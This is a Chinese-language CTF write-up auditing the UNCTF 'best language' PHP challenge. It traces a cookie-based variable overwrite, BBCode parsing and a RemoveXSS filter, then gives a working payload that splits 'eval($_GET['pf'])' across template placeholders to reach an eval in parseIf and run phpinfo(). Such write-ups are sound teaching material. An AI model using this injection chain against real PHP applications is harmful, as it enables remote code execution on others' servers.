PF的代码审计日记_CTF篇_DAY_2


前言

之前打了D3的线下,咕了好久,现在我又开始重启了,不过马上又是期末考试了,不知道下一篇又是什么时候,反正这个系列会继续下去的

UNCTF 审计世界上最好的语言

前两篇都放了完整源码,这就会显得有点繁重,还是讲到哪里算哪里吧

  • 源码总共六个文件
    1. index.php
    2. common.php
    3. bbcode_parse.php
    4. parse_template.php
    5. template.html
    6. flag.php

首先从index.php开始,毕竟这是文件的入口

1
2
3
include("common.php");
include("bbcode_parse.php");
include("parse_template.php");

最开始引入了三个文件,common.php一般就是预处理,大多数的waf都会写在其中,所以我们转入common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function check_var($arr){
$deny = array("_GET","_POST","GLOBALS");
foreach ($arr as $key => $value) {
if (in_array($key,$deny)){
exit("no no no");
}
}
}

check_var($_GET);
check_var($_POST);
check_var($_COOKIE);
foreach (['_GET','_POST','_COOKIE'] as $v) {
foreach ($$v as $key => $value) {
$$key = $value;
}
}

在进行任何的其他处理前,common。php会进行上述处理,简单的说就是检查GET,POST,COOKIE三个数组的键中是否存在"_GET","_POST","GLOBALS",如果不存在就pass,然后进行变量覆盖(!关注点)

  • 我们现在返回index.php
    1
    $c = parse_code(isset($GLOBALS['GLOBALS']['content'])?$GLOBALS['GLOBALS']['content']:"[b]hahha[/b]");

$c 的值首先从$GLOBALS['GLOBALS']['content']中取出,然后再经过parse_code,这样就会联想到之前的一个变量覆盖,由此联系我们上面的发现的问题

  • 在过滤键时,没有过滤COOKIE,这好蠢,明明自己都检查GET,POST,COOKIE这三个数组,后面也过滤了GET,POST,居然没过滤COOKIE。。。。,而且由于COOKIE是最后变量覆盖的数组,所以我们可以先覆盖COOKIE
    payload: /?_COOKIE[GLOBALS][GLOBALS][content]=123

  • 这里有个小小的问题,就是[param]不能加引号,如果加了引号,你的参数会被认为是’param’,也就是[‘’param’’],导致无效,奇怪的坑

接下来我们要进入parse_code函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?php

$tag_parse_func = [
'b_tag_decode',
'em_tag_decode',
'video_tag_decode',
'url_tag_decode',
];

//解析tag b,取出[b]..[\b]间的东西转换为html实体
function b_tag_decode($code){
return preg_replace_callback(
"/\[b\](.+)\[\/b\]/",
function($a){
return "<b>".htmlentities($a[1])."</b>";
},
$code);
}

//将em tag之间的东西也转换为html实体
function em_tag_decode($code){
return preg_replace_callback(
"/\[em\](.+)\[\/em\]/",
function($a){
return "<em>".htmlentities($a[1])."</em>";
},
$code);
}

//将url tag之间的东西,先将单引号转为空,javascript: 转为空再讲[url]url[/url]转变为<a href='url'>htmlentities($a[1])</a>
function url_tag_decode($code){
// $code = htmlentities($code);
return preg_replace_callback(
"/\[url\](.+)\[\/url\]/",
function($a){
$a[1] = str_replace("'","",$a[1]);
$a[1] = str_replace("javascript:","",$a[1]);
return "<a href='$a[1]'>".htmlentities($a[1])."</a>";
},
$code);

return $code;
}

//url 格式转换
function parse_video_code($url){
$ret_url = "";
$parsed_url = parse_url(urldecode($url));

if (isset($parsed_url['query'])) {

$queries = explode("&", $parsed_url['query']);
$input = array();
foreach($queries as $query)
{
list($key, $value) = explode("=", $query);
$key = str_replace("amp;", "", $key);
$input[$key] = $value;
}
}

if (isset($parsed_url['fragment'])) {
$fragments = array();
if($parsed_url['fragment'])
{
$fragments = explode("&", $parsed_url['fragment']);
}
}

if (isset($parsed_url['path'])) {
$path = explode('/', $parsed_url['path']);
}


switch ($parsed_url['host']) {
case 'www.youtube.com':
$template_html = "<video src='https://www.youtube.com/embed/{id}'></video>";
if(isset($fragments[0]))
{
$id = str_replace('!v=', '', $fragments[0]); // http://www.youtube.com/watch#!v=fds123
}
elseif(isset($input['v']))
{
$id = $input['v']; // http://www.youtube.com/watch?v=fds123
}
else
{
$id = isset($path[1])?:"niubi"; // http://www.youtu.be/fds123
}
$ret_url = str_replace('{id}',$id,$template_html);
break;

default:
# code...
return "video?";
}

return $ret_url;

}

//将video tag间的url进行二次解析
function video_tag_decode($code){
$video_tag_preg = "/\[video\](.*?)\[\/video\]/";
// example : https://youtube.com/xixi?v=123123
$parsed = array();
$n = preg_match_all($video_tag_preg,$code,$videos);
if($n){
foreach ($videos[1] as $key => $value) {
$html = parse_video_code($value);
$code = str_replace($videos[0][$key],$html,$code);
}
}
return $code;
}

function parse_code($content){
global $tag_parse_func; //遍历数组,进行多项解析
foreach ($tag_parse_func as $func) {
$content = $func($content);
}
return $content;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//去除多余标签
$c = preg_replace("/<em>.*?<\/em>/","",$c);
$c = preg_replace("/<b>.*?<\/b>/","",$c);
$c = preg_replace("/<video src='.*?'><\/video>/","",$c);
$c = preg_replace("/<a href='.*?'>/","",$c);

// search 必须是独立出来的标签哦~
$n = preg_match_all("/<search>(.*?)<\/search>/",$c,$searchword);
$searchnum=2;
if ($n>0) {
$searchword = $searchword[1][0];
if (strlen($searchword)>0){
parse_again($searchword);
}else{
exit("searchword!!");
}
}else{
exit("input your searchword~");
}

这里的解析顺序是b,em,video,url,所以可以在video中间藏url的tag
继续回到index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$c = preg_replace("/<em>.*?<\/em>/","",$c);
$c = preg_replace("/<b>.*?<\/b>/","",$c);
$c = preg_replace("/<video src='.*?'><\/video>/","",$c);
$c = preg_replace("/<a href='.*?'>/","",$c);

// search 必须是独立出来的标签哦~
$n = preg_match_all("/<search>(.*?)<\/search>/",$c,$searchword);
$searchnum=2;
if ($n>0) {
$searchword = $searchword[1][0];
if (strlen($searchword)>0){
parse_again($searchword);
}else{
exit("searchword!!");
}
}else{
exit("input your searchword~");
}

  • 在经过一轮标签的替换后进入最后的步骤,这类很重要的是替换是吧tag以及其中间内容一起替换掉,也就是说需要在四轮替换后依然存在一对search标签(也就是注释中说的完全独立)

  • 所以我们可以直接注入完整的就可以了,以此来进入最后的parse_again,做一个测试,<search>test</search>
    1.png

我们终于来到了最后一步,parse_again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function parse_again(){
global $template_html,$searchword;
$searchnum = isset($GLOBALS['searchnum'])?$GLOBALS['searchnum']:"";
$type = isset($GLOBALS['type'])?$GLOBALS['type']:"";
$typename = isset($GLOBALS['typename'])?$GLOBALS['typename']:"";


$searchword = substr(RemoveXSS($searchword),0,20);
$searchnum = substr(RemoveXSS($searchnum),0,20);
$type = substr(RemoveXSS($type),0,20);
$typename = substr(RemoveXSS($typename),0,20);
$template_html = str_replace("{haha:searchword}",$searchword,$template_html);
$template_html = str_replace("{haha:searchnum}",$searchnum,$template_html);
$template_html = str_replace("{haha:type}",$type,$template_html);
$template_html = str_replace("{haha:typename}",$typename,$template_html);
$template_html = parseIf($template_html);
return $template_html;
}

这里将开始的模板文件整个读入,然后进行对模板的替换,不过在替换前,会把参数进行一波RemoveXSS的操作

RemoveXSS:

1. 过滤不可见字符
2. 将html实体化字符变回原样
3. 在危险标签的第二个字符后面加个<x>使其失效

现在的关键就是parseIf函数了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function parseStrIf($strIf)
{
if(strpos($strIf,'=')===false)
{
return $strIf;
}
if((strpos($strIf,'==')===false)&&(strpos($strIf,'=')>0))
{
$strIf=str_replace('=', '==', $strIf);
}
$strIfArr = explode('==',$strIf);
return (empty($strIfArr[0])?'NULL':$strIfArr[0])."==".(empty($strIfArr[1])?'NULL':$strIfArr[1]);
}

function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$Rule = "/{if:(.*?)}(.*?){end if}/is";
preg_match_all($Rule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=parseStrIf($strIf);
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
}
}
return $content;
}

parseIf:

1. 判断模板中是否有`{if:`,没有则返回
2. 正则匹配`{if:(.*?)}(.*?){end if}`
3. 将`if:(.*?)`这里的`(.*?)`,带入parseStrIf函数
4. 将返回值带入eval中执行,既然有eval我们当然需要思考rce,那就需要关注返回值是否可控

parseStrIf:

1. 如果没有=,就直接返回
2. 如果有=没有==,就把=号换成==,然后进行一波判断,返回一个布尔值
  • 即我们需要构造一个 不需要等号的命令执行,emm eval($_GET['pf'])(一句话木马计就和合适

  • 所以我们只需要模板中构造出形如{if:eval($_GET['pf'])}.*{end if}由于模板中自带了很多{end if}所以不需要自己构造,我们只需要构造出{if:eval($_GET['pf'])}即可

  • 这时候我们在构造时,就想到RemoveXSS将很多函数都加了导致不可用,据观测,if:,’eval’,’_GET’都不能用

  • 所以我们只能通过拼接的方式,即在进行四轮替换时,每一轮带有下一轮的替换关键词,一次来达到拼接字符串的功效

类如:

1. 率先替换`{haha:searchword}`,我们传入`$searchword={if{haha:searchnum}}`
2. 第二轮替换`{haha:searchnum}`,我们传入`$searchnum=:eva{haha:serachtype}`,就变成`{if:eva{haha:serachtype}}`,一次类推

最后payload:
_COOKIE[GLOBALS][GLOBALS][content]=<search>{if{haha:searchnum}}</search>&_COOKIE[GLOBALS][searchnum]=:eva{haha:type}&_COOKIE[GLOBALS][type]=l($_G{haha:typename}&_COOKIE[GLOBALS][typename]=ET[%27pf%27])&pf=phpinfo();

2.png

总结

这题说到底就就是过滤不严谨的问题,而且看了wp发现,本题作者希望通过video和url进行套娃来解题,但是最后由于没有做好,导致直接无效了,这里可以给content设置一个必须以以[video]开头来处理这个问题